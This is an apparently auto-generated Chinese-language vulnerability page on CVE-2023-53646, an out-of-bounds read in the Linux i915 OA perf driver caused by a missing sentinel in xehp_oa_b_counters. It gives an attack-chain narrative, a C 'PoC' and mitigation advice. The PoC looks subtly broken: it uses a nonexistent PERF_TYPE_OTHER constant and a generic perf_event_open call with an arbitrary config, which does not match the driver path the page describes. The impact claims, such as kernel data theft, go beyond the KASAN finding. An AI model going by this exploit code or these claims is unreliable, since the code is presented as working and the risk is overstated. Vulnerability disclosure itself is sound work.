IPBUF安全漏洞报告
English
CVE-2023-53646 CVSS 7.1 高危

CVE-2023-53646 Linux内核i915驱动OA计数器数组越界读取漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53646
漏洞类型
数组越界读取(Out-of-Bounds Read)
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(drm/i915/perf 驱动子系统)

相关标签

Linux Kerneli915驱动drm越界读取KASANperf子系统Intel GPUXe HP架构内核漏洞本地提权

漏洞概述

CVE-2023-53646是Linux内核drm/i915/perf子系统中存在的一个全局数组越界读取漏洞。该漏洞位于Intel i915图形驱动的性能监控(OA/Observability Architecture)模块中,具体涉及xehp_oa_b_counters数组的定义与使用。问题根源在于传递给reg_in_range_table函数的数组缺少以空记录(sentinel/empty record)作为结束标记的元素,导致函数在遍历数组时越过数组边界,读取未初始化的内存数据。

该漏洞由KASAN(Kernel Address Sanitizer,内核地址 sanitizer)工具检测发现,触发时的调用栈显示在xehp_is_valid_b_counter_addr函数中发生了全局越界读取操作。触发条件为执行perf相关操作(任务名为perf),表明该漏洞可通过Linux的perf性能分析子系统触发。受影响的硬件平台包括Intel Meteor Lake Client Platform(MTL-P)等使用Xe HP架构的集成显卡平台。

该漏洞的CVSS评分为7.1分,属于高危级别。其攻击向量为本地(AV:L),需要低权限(PR:L),无需用户交互(UI:N),对机密性影响为高(C:H),对完整性影响为无(I:N),对可用性影响为高(A:H)。这意味着本地低权限用户可通过利用此漏洞读取内核敏感数据,并可能导致系统崩溃或不可用。该漏洞已在Linux内核稳定版中通过cherry-pick方式修复(原始提交为2f42c5afb34b5696cf5fe79e744f99be9b218798)。

技术细节

该漏洞的技术原理在于Linux内核i915驱动中xehp_oa_b_counters数组的定义缺少哨兵元素(sentinel)。在Linux内核的reg_in_range_table辅助函数中,其实现逻辑依赖于遍历传入的数组来检查给定地址是否落在某个寄存器范围内。该函数通过检测数组中的空记录(所有字段为零的记录)来判断数组的结束位置。

具体而言,xehp_oa_b_counters数组用于定义Xe HP架构GPU的OA B计数器地址范围。原始代码中该数组以非空记录结束,当xehp_is_valid_b_counter_addr函数遍历该数组时,reg_in_range_table无法找到预期的空哨兵记录,继续读取数组边界之外的全局内存数据,从而触发KASAN检测到的global-out-of-bounds错误。

利用方式方面,攻击者需要在受影响系统上具有本地低权限访问权限,通过执行perf工具或调用内核perf子系统相关接口(如perf_event_open系统调用),触发i915驱动的OA计数器地址验证流程。当内核尝试验证某个OA计数器地址时,会调用xehp_is_valid_b_counter_addr函数,进而触发越界读取。攻击者可利用此漏洞读取内核地址空间中的敏感数据(机密性影响为高),并可能导致内核崩溃(可用性影响为高)。由于该漏洞为读取型漏洞,不涉及数据修改,因此完整性影响为无。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在搭载Intel Xe HP架构GPU(如Meteor Lake平台)的Linux系统上获得本地低权限访问权限,并确保系统运行存在漏洞的Linux内核版本(i915驱动中xehp_oa_b_counters数组缺少哨兵元素)。
STEP 2
步骤2:触发OA计数器验证
攻击者通过perf工具或调用perf_event_open系统调用,尝试打开i915驱动的OA(Observability Architecture)性能监控事件,使内核调用xehp_is_valid_b_counter_addr函数验证计数器地址。
STEP 3
步骤3:触发越界读取
xehp_is_valid_b_counter_addr函数内部调用reg_in_range_table遍历xehp_oa_b_counters数组。由于数组缺少空哨兵记录,遍历操作越过数组边界,读取全局内存中的未初始化数据,触发KASAN报告的global-out-of-bounds错误。
STEP 4
步骤4:信息泄露与系统影响
越界读取可能导致内核敏感数据泄露(机密性影响),同时异常的内核内存访问可能导致系统不稳定或内核崩溃(可用性影响),从而实现权限提升前的信息收集或拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53646 PoC - Trigger OOB read via perf subsystem on i915 // Requires: Linux kernel with vulnerable i915 driver on Intel Xe HP GPU // Privilege: Local low-privileged user // // This PoC triggers the global-out-of-bounds read in // xehp_is_valid_b_counter_addr() by opening perf events on i915 OA counters. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <linux/perf_event.h> static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_fd, unsigned long flags) { return syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags); } int main(int argc, char *argv[]) { struct perf_event_attr pe; int fd; memset(&pe, 0, sizeof(struct perf_event_attr)); pe.type = PERF_TYPE_OTHER; // Use i915 OA perf type pe.size = sizeof(struct perf_event_attr); pe.config = 0xFFFFFFFF; // Invalid config to trigger validation path pe.disabled = 1; // Attempt to open perf event on i915 OA counters // This triggers xehp_is_valid_b_counter_addr() which contains the OOB read fd = perf_event_open(&pe, 0, -1, -1, 0); if (fd < 0) { perror("perf_event_open"); fprintf(stderr, "Note: Requires Intel Xe HP GPU (e.g., Meteor Lake)\n"); fprintf(stderr, " and access to /dev/dri/renderD* device\n"); return 1; } close(fd); printf("Perf event opened successfully - check kernel logs for KASAN report\n"); return 0; }

影响范围

Linux Kernel < 修复提交 2f42c5afb34b5696cf5fe79e744f99be9b218798 的版本
Linux Kernel 6.4.0-kasan_438-g3303d06107f3+ 及之前存在漏洞的版本
所有包含未修复xehp_oa_b_counters数组的i915驱动版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对/dev/dri/renderD*等i915设备节点的访问权限,通过udev规则仅授权特定用户组;2)通过内核引导参数或sysctl限制非特权用户使用perf_event_open系统调用(如设置kernel.perf_event_paranoid为较高级别);3)监控系统日志,关注KASAN报告的异常内存访问信息;4)对关键服务器暂时禁用Intel集成显卡的OA性能监控功能;5)密切关注Linux内核安全公告,及时应用官方安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表